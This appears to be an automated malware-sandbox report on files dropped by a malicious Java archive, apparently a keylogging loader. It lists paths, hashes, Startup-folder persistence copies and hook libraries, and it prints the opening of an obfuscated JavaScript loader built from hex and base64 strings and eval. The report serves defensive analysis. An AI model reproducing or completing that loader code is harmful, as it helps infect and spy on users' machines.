MD5:	6A1EFB0C410A7790DBC75FD29ADC48D6
SHA1:	5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF
SHA-256:	DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B
SHA-512:	7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F
Malicious:	false
Preview:	PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5\|.Y.~.m..5XL.8.(WXkV.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.\|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLambo/sbsgssdfg.class.Xy\|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I...GE\|I..D<&.."~(.G"~,.'"~.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0\|..b.o.CN<.O..I

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e2.timestamp Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.7140402332732085
Encrypted:	false
SSDEEP:	3:oFj4I5vpN6yUYCT4WU:oJ5X6y6M
MD5:	186F861FF9D3A549B048DCF183C0DADA
SHA1:	E97348CA59A5E872C2F905E027E906F28ACEE2AF
SHA-256:	3A9363603121FB03304A72DD8C294C7695593ACEF776237205DA004C787EFA0E
SHA-512:	CE87BC276D355695118931861CC63BD1EC43E67D37A55B28D6A4E702885830C18283A5DFBEB0B97E4A4FA6B089FEA8AF3707A01749AB5D6BBA5D16A3D8207C94
Malicious:	false
Preview:	C:\Program Files (x86)\Java\jre1.8.0_211..1614143121438..

C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207872
Entropy (8bit):	6.579362539906247
Encrypted:	false
SSDEEP:	3072:q9LCZdSWDLC2L5THvPEFKESxLBaj+EdyfWC0EHxvNVmvXsNGpqqqYrZG:VDvL5TQdndmkvXsNGpqOFG
MD5:	28D895A3CB7E9A0B6A5AE5ED6A62B254
SHA1:	703D8604A8D04D29C52C0EBCDE1E86F3BC8FF824
SHA-256:	04C9A8AB43D1EB616B84D0686C8AE1D881EF03FE4F3AA26511E5B19D35EF16AF
SHA-512:	C917334BA893313F6062143A25187A313A973B41696C8E446D4D90F7483963F5134CAFE65C86B212815981A9AF27B1ADA7FEB2C9194A3B234C5817FB54D4E531
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar, Detection: malicious, Browse Filename: Invoice467972.jar, Detection: malicious, Browse Filename: Invoice467972.jar, Detection: malicious, Browse Filename: MT0128.jar, Detection: malicious, Browse Filename: MT0128.jar, Detection: malicious, Browse Filename: PO348578.jar, Detection: malicious, Browse Filename: ShippingDoc.jar, Detection: malicious, Browse Filename: 02_extracted.jar, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: ntfsmgr.jar, Detection: malicious, Browse Filename: Specification-037-31-08.jar, Detection: malicious, Browse Filename: 04_extracted.jar, Detection: malicious, Browse Filename: Order Quotation ....jar, Detection: malicious, Browse Filename: tsts11.jar, Detection: malicious, Browse Filename: Spec#-0537354-17-08.jar, Detection: malicious, Browse Filename: Spec-10-8-20.jar, Detection: malicious, Browse Filename: Payment Advice.jar, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: ORDER SPECIFICATIONS.jar, Detection: malicious, Browse Filename: SCANPAGO.jar, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..G.ty..ty..ty.....ty....~ty.....ty.T.\|..ty.T.}..ty.T.z..ty.....ty..tx.[ty...z..ty..ty..ty...}..ty...y..ty...{..ty.Rich.ty.................PE..L....G.]...........!.....D...........M.......`...............................p............@.........................P...T.......<....0.......................@... ..p...................................@............`..,............................text....C.......D.................. ..`.rdata..Rz...`...\|...H..............@..@.data...<O.......B..................@....rsrc........0......................@....reloc... ...@..."..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207872
Entropy (8bit):	6.579362539906247
Encrypted:	false
SSDEEP:	3072:q9LCZdSWDLC2L5THvPEFKESxLBaj+EdyfWC0EHxvNVmvXsNGpqqqYrZG:VDvL5TQdndmkvXsNGpqOFG
MD5:	28D895A3CB7E9A0B6A5AE5ED6A62B254
SHA1:	703D8604A8D04D29C52C0EBCDE1E86F3BC8FF824
SHA-256:	04C9A8AB43D1EB616B84D0686C8AE1D881EF03FE4F3AA26511E5B19D35EF16AF
SHA-512:	C917334BA893313F6062143A25187A313A973B41696C8E446D4D90F7483963F5134CAFE65C86B212815981A9AF27B1ADA7FEB2C9194A3B234C5817FB54D4E531
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..G.ty..ty..ty.....ty....~ty.....ty.T.\|..ty.T.}..ty.T.z..ty.....ty..tx.[ty...z..ty..ty..ty...}..ty...y..ty...{..ty.Rich.ty.................PE..L....G.]...........!.....D...........M.......`...............................p............@.........................P...T.......<....0.......................@... ..p...................................@............`..,............................text....C.......D.................. ..`.rdata..Rz...`...\|...H..............@..@.data...<O.......B..................@....rsrc........0......................@....reloc... ...@..."..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jna-99048687\jna8178706811767784369.dll Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207872
Entropy (8bit):	6.579362539906247
Encrypted:	false
SSDEEP:	3072:q9LCZdSWDLC2L5THvPEFKESxLBaj+EdyfWC0EHxvNVmvXsNGpqqqYrZG:VDvL5TQdndmkvXsNGpqOFG
MD5:	28D895A3CB7E9A0B6A5AE5ED6A62B254
SHA1:	703D8604A8D04D29C52C0EBCDE1E86F3BC8FF824
SHA-256:	04C9A8AB43D1EB616B84D0686C8AE1D881EF03FE4F3AA26511E5B19D35EF16AF
SHA-512:	C917334BA893313F6062143A25187A313A973B41696C8E446D4D90F7483963F5134CAFE65C86B212815981A9AF27B1ADA7FEB2C9194A3B234C5817FB54D4E531
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..G.ty..ty..ty.....ty....~ty.....ty.T.\|..ty.T.}..ty.T.z..ty.....ty..tx.[ty...z..ty..ty..ty...}..ty...y..ty...{..ty.Rich.ty.................PE..L....G.]...........!.....D...........M.......`...............................p............@.........................P...T.......<....0.......................@... ..p...................................@............`..,............................text....C.......D.................. ..`.rdata..Rz...`...\|...H..............@..@.data...<O.......B..................@....rsrc........0......................@....reloc... ...@..."..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	data
Category:	dropped
Size (bytes):	45
Entropy (8bit):	0.9111711733157262
Encrypted:	false
SSDEEP:	3:/lwlt7n:WNn
MD5:	C8366AE350E7019AEFC9D1E6E6A498C6
SHA1:	5731D8A3E6568A5F2DFBBC87E3DB9637DF280B61
SHA-256:	11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238
SHA-512:	33C980D5A638BFC791DE291EBF4B6D263B384247AB27F261A54025108F2F85374B579A026E545F81395736DD40FA4696F2163CA17640DD47F1C42BC9971B18CD
Malicious:	false
Preview:	........................................J2SE.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	93302
Entropy (8bit):	7.907636664666169
Encrypted:	false
SSDEEP:	1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA
MD5:	6A1EFB0C410A7790DBC75FD29ADC48D6
SHA1:	5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF
SHA-256:	DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B
SHA-512:	7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F
Malicious:	false
Preview:	PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5\|.Y.~.m..5XL.8.(WXkV.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.\|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLambo/sbsgssdfg.class.Xy\|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I...GE\|I..D<&.."~(.G"~,.'"~.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0\|..b.o.CN<.O..I

C:\Users\user\AppData\Roaming\lib\jna-5.5.0.jar Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Java archive data (JAR)
Category:	dropped
Size (bytes):	1506993
Entropy (8bit):	7.990710311197979
Encrypted:	true
SSDEEP:	24576:BggLnybolJdaW+864NkqCUer8N7sSFOaj5lWOEMIKk6idJRWPTgzq3bICEz2lFO:BTnybo9aW+L5qCUO0xsiMPZrJgPLLIO6
MD5:	ACFB5B5FD9EE10BF69497792FD469F85
SHA1:	0E0845217C4907822403912AD6828D8E0B256208
SHA-256:	B308FAEBFE4ED409DE8410E0A632D164B2126B035F6EACFF968D3908CAFB4D9E
SHA-512:	E52575F58A195CEB3BD16B9740EADF5BC5B1D4D63C0734E8E5FD1D1776AA2D068D2E4C7173B83803F95F72C0A6759AE1C9B65773C734250D4CFCDF47A19F82AA
Malicious:	false
Preview:	PK..........^O................META-INF/....PK..........^O...L............META-INF/MANIFEST.MF.._O.0...+.;............ahehE."...cgv.}.].i...i{..s.>>.....`.....J^....{sYX.....5......[h......-....q0.6.%.\|.. ..c.i../..r.-.5.0..f+.7I.;.......".IV.=.D...H.A.J_..9......M..4...W9.....6.zZ...3g..tG....3....Q..._..N.`...p.y+.n.xw4..z+C.Y`./Jc.o..WW..;B..=.....4..Lh.~..M..Q.~.6Jp......~m..p...Z.R.V..Oq..F.U....r.a.Yh...^].?.v.b/%.=e?.kt....e..Nw..n.{.......E..].P!.h.N....N."/..._<.&..{.C!.$......O..L....,+..S..Y..9{.gX- ..R....S"...xTGm..0.........]J.M.dT.......9.b.(....\......,'...>..].i.q/..J<.Hy..k.9H.E.J.....!.Q!....*.8...j..^.7Y..Sv..r+8..Y..4..7V........&-th..v(rZ....F.~..G.~..r.:..sj....0.-.,.....k.H[.^T.}.....UTH.)g.0..,l.6\|...fr..\...t~Usz......J,....6&l}.m....M...9.cPKT1.;....h^....u.{... C...^...2%yuD.2...Z9...t.~....PK..........^O................com/PK..........^O................com/sun/PK..........^O................com/sun/jna/PK..........^O..

C:\Users\user\AppData\Roaming\lib\jna-platform-5.5.0.jar Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Java archive data (JAR)
Category:	dropped
Size (bytes):	2681931
Entropy (8bit):	5.90068240083877
Encrypted:	false
SSDEEP:	24576:DyciOooDbK7Yw1J75n4BP/NtK2ov3mhDR6:3iOLDOZJ75nwtK2ovWh8
MD5:	2F4A99C2758E72EE2B59A73586A2322F
SHA1:	AF38E7C4D0FC73C23ECD785443705BFDEE5B90BF
SHA-256:	24D81621F82AC29FCDD9A74116031F5907A2343158E616F4573BBFA2434AE0D5
SHA-512:	B860459A0D3BF7CCB600A03AA1D2AC0358619EE89B2B96ED723541E182B6FDAB53AEFEF7992ACB4E03FCA67AA47CBE3907B1E6060A60B57ED96C4E00C35C7494
Malicious:	false
Preview:	PK..........^O................META-INF/....PK..........^O.p..E...E.......META-INF/MANIFEST.MFManifest-Version: 1.0..Ant-Version: Apache Ant 1.10.6..Created-By: 1.8.0_201-b09 (Oracle Corporation)..Implementation-Title: com.sun.jna.platform..Implementation-Vendor: JNA Development Team..Implementation-Version: 5.5.0 (b0)..Specification-Title: Java Native Access (JNA)..Specification-Vendor: JNA Development Team..Specification-Version: 5..Automatic-Module-Name: com.sun.jna.platform..Bundle-Category: jni..Bundle-ManifestVersion: 2..Bundle-Name: jna-platform..Bundle-Description: JNA Platform Library..Bundle-SymbolicName: com.sun.jna.platform..Bundle-Version: 5.5.0..Bundle-RequiredExecutionEnvironment: J2SE-1.4..Bundle-Vendor: JNA Development Team..Require-Bundle: com.sun.jna;bundle-version="5.5.0"..Export-Package: com.sun.jna.platform;version=5.5.0, com.sun.jna.platf.. orm.dnd;version=5.5.0, com.sun.jna.platform.linux;version=5.5.0, com... sun.jna.platform.mac;version=5.5.0, com.sun.jna.plat

C:\Users\user\AppData\Roaming\lib\sqlite-jdbc-3.14.2.1.jar Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Zip archive data, at least v1.0 to extract
Category:	dropped
Size (bytes):	4322173
Entropy (8bit):	7.994785882289737
Encrypted:	true
SSDEEP:	98304:czJoX0izQbrabWo2MxgErRYxFOY8IsFWyTIiTIzMpca:cJoXHQKW9MxRr8wZZsikzMaa
MD5:	B33387E15AB150A7BF560ABDC73C3BEC
SHA1:	66B8075784131F578EF893FD7674273F709B9A4C
SHA-256:	2EAE3DEA1C3DDE6104C49F9601074B6038FF6ABCF3BE23F4B56F6720A4F6A491
SHA-512:	25CFB0D6CE35D0BCB18527D3AA12C63ECB2D9C1B8B78805D1306E516C13480B79BB0D74730AA93BD1752F9AC2DA9FDD51781C48844CEA2FD52A06C62852C8279
Malicious:	false
Preview:	PK........8f>I................META-INF/PK........7f>IzVC.....s.......META-INF/MANIFEST.MF..Oo.0.....,.k..-%..P.m..U...L2..&fm....@ .E.=o~o........7H.D.".8.5..mA.....L.c..F......!.lh..4.[H.0K...![.....Tq..1...G..@.?..\...P.."ao..S.:w.}.}.t.EW...b.6..(.5a....p.8[H*..p.bH..h..&l.w....D.e.We.<..h.=.....zx.:.W.ft.......a.....$......{..{..K..0.ZfP7.N>q......FH..4.....B.....:.q4.../..^f....;....m....V.....b..u..v0.k.S.9 .....<G...@..Bl87s.....p.K.;..5.x1.i]...:.l8_./.~.-.7....g[O...U;.$(..r..../.m.E2...=....CT..6K.9....=v=.s}..OPK........We>I................META-INF/maven/PK........We>I................META-INF/maven/org.xerial/PK........We>I............&...META-INF/maven/org.xerial/sqlite-jdbc/PK........We>I................META-INF/services/PK........QT>I................org/PK........8f>I................org/sqlite/PK........8f>I................org/sqlite/core/PK........8f>I................org/sqlite/date/PK........8f>I................org/sqlite/javax/PK........8f>I..

C:\Users\user\AppData\Roaming\lib\system-hook-3.5.jar Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Zip archive data, at least v1.0 to extract
Category:	dropped
Size (bytes):	791222
Entropy (8bit):	7.998588520286719
Encrypted:	true
SSDEEP:	24576:IhCFW8WXvOsWW9XGmvcVfkfTnzrLvadKPpv:IhCYWstW202t
MD5:	E1AA38A1E78A76A6DE73EFAE136CDB3A
SHA1:	C463DA71871F780B2E2E5DBA115D43953B537DAF
SHA-256:	2DDDA8AF6FAEF8BDE46ACF43EC546603180BCF8DCB2E5591FFF8AC9CD30B5609
SHA-512:	FEE16FE9364926EC337E52F551FD62ED81984808A847DE2FD68FF29B6C5DA0DCC04EF6D8977F0FE675662A7D2EA1065CDCDD2A5259446226A7C7C5516BD7D60D
Malicious:	false
Preview:	PK.........x.N................META-INF/PK.........x.N................META-INF/MANIFEST.MF.M..LK-...K-...R0.3..r,J..,K-B...V..+.$x...R.KRSt.......3R.\|..R....L..y..J3sJ....&.f.f...]..l.-.z.zF.\.\.PK..PSF.m.......PK........lx.N................lc/PK........lx.N................lc/kra/PK........mx.N................lc/kra/system/PK........mx.N................lc/kra/system/keyboard/PK........mx.N................lc/kra/system/keyboard/event/PK.........x.N................lc/kra/system/lib/PK........mx.N................lc/kra/system/mouse/PK........mx.N................lc/kra/system/mouse/event/PK........mx.N............"...lc/kra/system/GlobalHookMode.class.R]o.A.=...,_[.R...Z....O....6Y..m1..W.v.M.h.4.F..?.xg%.b..pO..s.;3.~......0Dl(."'!%!. .M..d..nq.S.I..24...;..Z.z..0,.N.p.3..O...-.t.......{......Uu..M.-5.7..i.`Xy7.3ta:C.....%....q.v..a.e.N.C;..r...........n.`.z..)...j..6.....XSt..k.....=..[.;.5.{.....q...GJB...J..7.L...a.2.........6w.0M..j..C.T.Qb..RT..3..XQ.GBE.....

C:\Users\user\AppData\Roaming\plugins.jar Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	93302
Entropy (8bit):	7.907636664666169
Encrypted:	false
SSDEEP:	1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA
MD5:	6A1EFB0C410A7790DBC75FD29ADC48D6
SHA1:	5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF
SHA-256:	DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B
SHA-512:	7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F
Malicious:	true
Preview:	PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5\|.Y.~.m..5XL.8.(WXkV.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.\|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLambo/sbsgssdfg.class.Xy\|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I...GE\|I..D<&.."~(.G"~,.'"~.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0\|..b.o.CN<.O..I

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	93302
Entropy (8bit):	7.907636664666169
Encrypted:	false
SSDEEP:	1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA
MD5:	6A1EFB0C410A7790DBC75FD29ADC48D6
SHA1:	5589EAD30D23C96DC8AE7BA03D03066BCB1B17EF
SHA-256:	DFC703A9B8498AA24306908FCE67CBF894C7861E07FF778E3FD62315684B579B
SHA-512:	7C331441848875875DF4F39E7AF59C040C0EDD010666894C69178064EB52E1A3E310BBF62A35FDF1B2F6EE372B68D75AE395E9EC92ECFFB150EF2B5C5570205F
Malicious:	true
Preview:	PK..........WR................META-INF/MANIFEST.MF].=O.0.EwK..o,.M\ZQyk#6B..b}._..'..+.......w....p...E.R.>N..l8;N..qF..TV.T.......E.v'..0J.....6.9&,5\|.Y.~.m..5XL.8.(WXkV.....7.y.F......^....0....C.........#.Bbp.....[.V..h.].....g.\|.....s...%.u....0..>8.8..PK...&......-...PK..........WR................carLambo/resources/config.txt.... ....r.h..h..=.._i.LG.........1..KK..kRo..h...L.t[.06...u..4....y.....3>.H29.jql^e}..5..A[i....t.p.5.......#t.@..`..M..e.-.:T?n...mF.._..G..6.D\.r.AZ/.. .Hq.....{../....mQ..)}../...PK..)!..........PK..........WR................carLambo/sbsgssdfg.class.Xy\|.W........XJ..P .f.@....$..I.B.]b..;{.f..L(H.T.....U.Gl...]..W....>Zo..=.Z.....fg........}....x.w..v......h.......b%.....@...R+..B.;%.K.%.G.{%.O..%.$..0".!..K....J....I...GE\|I..D<&.."~(.G"~,.'"~.g"~..."~).W"...l!.E.!..e.1lg.g..a..~.73....o+.\....n..U.!...od..p3...:p.3_...W ...lu............a...!.p#.-......2.....;.......b.j...jq...).A../......e8..#x../..'...0\|..b.o.CN<.O..I

C:\Users\user\fukvowbkrs.js Download File
Process:	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	737167
Entropy (8bit):	4.705946433849389
Encrypted:	false
SSDEEP:	6144:egg4cP9SSJTS7PEwU5tTBWoZEIZCSfq7mjJMF4taWAo/YABu1kL3QNQoxvHp6GVE:M
MD5:	EE526513580FDCE38FBD47E380081DA0
SHA1:	05A7DBB90B51A6BF6EEF394DC565A22242A4E0DD
SHA-256:	EDF1D7DFB797D66CEACE6695998240EDF67C5F08D06767A66ABC1C66830527F4
SHA-512:	C14E5381A3C569918957FC0A35B0970786B2E128709E8A26419AE96972BC8B507DD44DA51E60871AB85313C63D4045035E4A48EEE15BA2DF731A7328FCD8618F
Malicious:	false
Yara Hits:	Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: C:\Users\user\fukvowbkrs.js, Author: Florian Roth
Preview:	var efr3b0h = [.function(zen1thB){..var mkk_pl4z4 = Array(zen1thB[0],......."\x6D\x6B\x6B\x5F\x70\x6C\x34\x7A\x34\x5B\x30\x5D\x20\x3D\x20\x6D\x6B\x6B\x5F\x70\x6C\x34\x7A\x34\x5B\x30\x5D\x2E");..mkk_pl4z4[0] = mkk_pl4z4[0].replace(new RegExp(">%@", "g"), "A");..var f_truth = [......."\x6D\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x64\x22\x29\x3B",......."\x21\x22\x2C\x20\x22\x67\x22\x29\x2C\x20\x22\x6D\x22\x29\x3B".......];..zen1thB[1][r0bl3NP(10,9)].f_truth = f_truth;..zen1thB[1][r0bl3NP(10,9)].mkk_pl4z4 = mkk_pl4z4;..new zen1thB[1]([eval]);..return Array(function(vmk){return [mkk_pl4z4][vmk];})[0](0);.},.Array("CreateObject","Rea", "undefined","\x61\x64\x6F\x64\x62\x2E","\x43\x68\x61\x72\x53\x65\x74","Position","\x54\x79\x70\x65","Open","Write","node")..];.eval("String[\"prototype\"].l00p6x = function(){return \"m!FyIFZMJExPJEUgPSBbIlx4NTVceDQ1XHg3M1x4NDRceDQyXHg0Mlx4NTFceDNFXHgyNVx4NDBceDQzXHgzRVx4MjVceDQwXHg2N1x4NDlceDNFXHgyNVx4NDBceDRBXHg2Rlx4NTmceDU2XHgzMVx4NDlceDNFXHgyNVx4NDBceDNFX

C:\Users\user\lib\jna-5.5.0.jard Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	Java archive data (JAR)
Category:	dropped
Size (bytes):	1506993
Entropy (8bit):	7.990710311197979
Encrypted:	true
SSDEEP:	24576:BggLnybolJdaW+864NkqCUer8N7sSFOaj5lWOEMIKk6idJRWPTgzq3bICEz2lFO:BTnybo9aW+L5qCUO0xsiMPZrJgPLLIO6
MD5:	ACFB5B5FD9EE10BF69497792FD469F85
SHA1:	0E0845217C4907822403912AD6828D8E0B256208
SHA-256:	B308FAEBFE4ED409DE8410E0A632D164B2126B035F6EACFF968D3908CAFB4D9E
SHA-512:	E52575F58A195CEB3BD16B9740EADF5BC5B1D4D63C0734E8E5FD1D1776AA2D068D2E4C7173B83803F95F72C0A6759AE1C9B65773C734250D4CFCDF47A19F82AA
Malicious:	false
Preview:	PK..........^O................META-INF/....PK..........^O...L............META-INF/MANIFEST.MF.._O.0...+.;............ahehE."...cgv.}.].i...i{..s.>>.....`.....J^....{sYX.....5......[h......-....q0.6.%.\|.. ..c.i../..r.-.5.0..f+.7I.;.......".IV.=.D...H.A.J_..9......M..4...W9.....6.zZ...3g..tG....3....Q..._..N.`...p.y+.n.xw4..z+C.Y`./Jc.o..WW..;B..=.....4..Lh.~..M..Q.~.6Jp......~m..p...Z.R.V..Oq..F.U....r.a.Yh...^].?.v.b/%.=e?.kt....e..Nw..n.{.......E..].P!.h.N....N."/..._<.&..{.C!.$......O..L....,+..S..Y..9{.gX- ..R....S"...xTGm..0.........]J.M.dT.......9.b.(....\......,'...>..].i.q/..J<.Hy..k.9H.E.J.....!.Q!....*.8...j..^.7Y..Sv..r+8..Y..4..7V........&-th..v(rZ....F.~..G.~..r.:..sj....0.-.,.....k.H[.^T.}.....UTH.)g.0..,l.6\|...fr..\...t~Usz......J,....6&l}.m....M...9.cPKT1.;....h^....u.{... C...^...2%yuD.2...Z9...t.~....PK..........^O................com/PK..........^O................com/sun/PK..........^O................com/sun/jna/PK..........^O..

C:\Users\user\lib\jna-platform-5.5.0.jard Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	Java archive data (JAR)
Category:	dropped
Size (bytes):	2681931
Entropy (8bit):	5.90068240083877
Encrypted:	false
SSDEEP:	24576:DyciOooDbK7Yw1J75n4BP/NtK2ov3mhDR6:3iOLDOZJ75nwtK2ovWh8
MD5:	2F4A99C2758E72EE2B59A73586A2322F
SHA1:	AF38E7C4D0FC73C23ECD785443705BFDEE5B90BF
SHA-256:	24D81621F82AC29FCDD9A74116031F5907A2343158E616F4573BBFA2434AE0D5
SHA-512:	B860459A0D3BF7CCB600A03AA1D2AC0358619EE89B2B96ED723541E182B6FDAB53AEFEF7992ACB4E03FCA67AA47CBE3907B1E6060A60B57ED96C4E00C35C7494
Malicious:	false
Preview:	PK..........^O................META-INF/....PK..........^O.p..E...E.......META-INF/MANIFEST.MFManifest-Version: 1.0..Ant-Version: Apache Ant 1.10.6..Created-By: 1.8.0_201-b09 (Oracle Corporation)..Implementation-Title: com.sun.jna.platform..Implementation-Vendor: JNA Development Team..Implementation-Version: 5.5.0 (b0)..Specification-Title: Java Native Access (JNA)..Specification-Vendor: JNA Development Team..Specification-Version: 5..Automatic-Module-Name: com.sun.jna.platform..Bundle-Category: jni..Bundle-ManifestVersion: 2..Bundle-Name: jna-platform..Bundle-Description: JNA Platform Library..Bundle-SymbolicName: com.sun.jna.platform..Bundle-Version: 5.5.0..Bundle-RequiredExecutionEnvironment: J2SE-1.4..Bundle-Vendor: JNA Development Team..Require-Bundle: com.sun.jna;bundle-version="5.5.0"..Export-Package: com.sun.jna.platform;version=5.5.0, com.sun.jna.platf.. orm.dnd;version=5.5.0, com.sun.jna.platform.linux;version=5.5.0, com... sun.jna.platform.mac;version=5.5.0, com.sun.jna.plat

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
File Type:	Zip archive data, at least v1.0 to extract
Category:	dropped
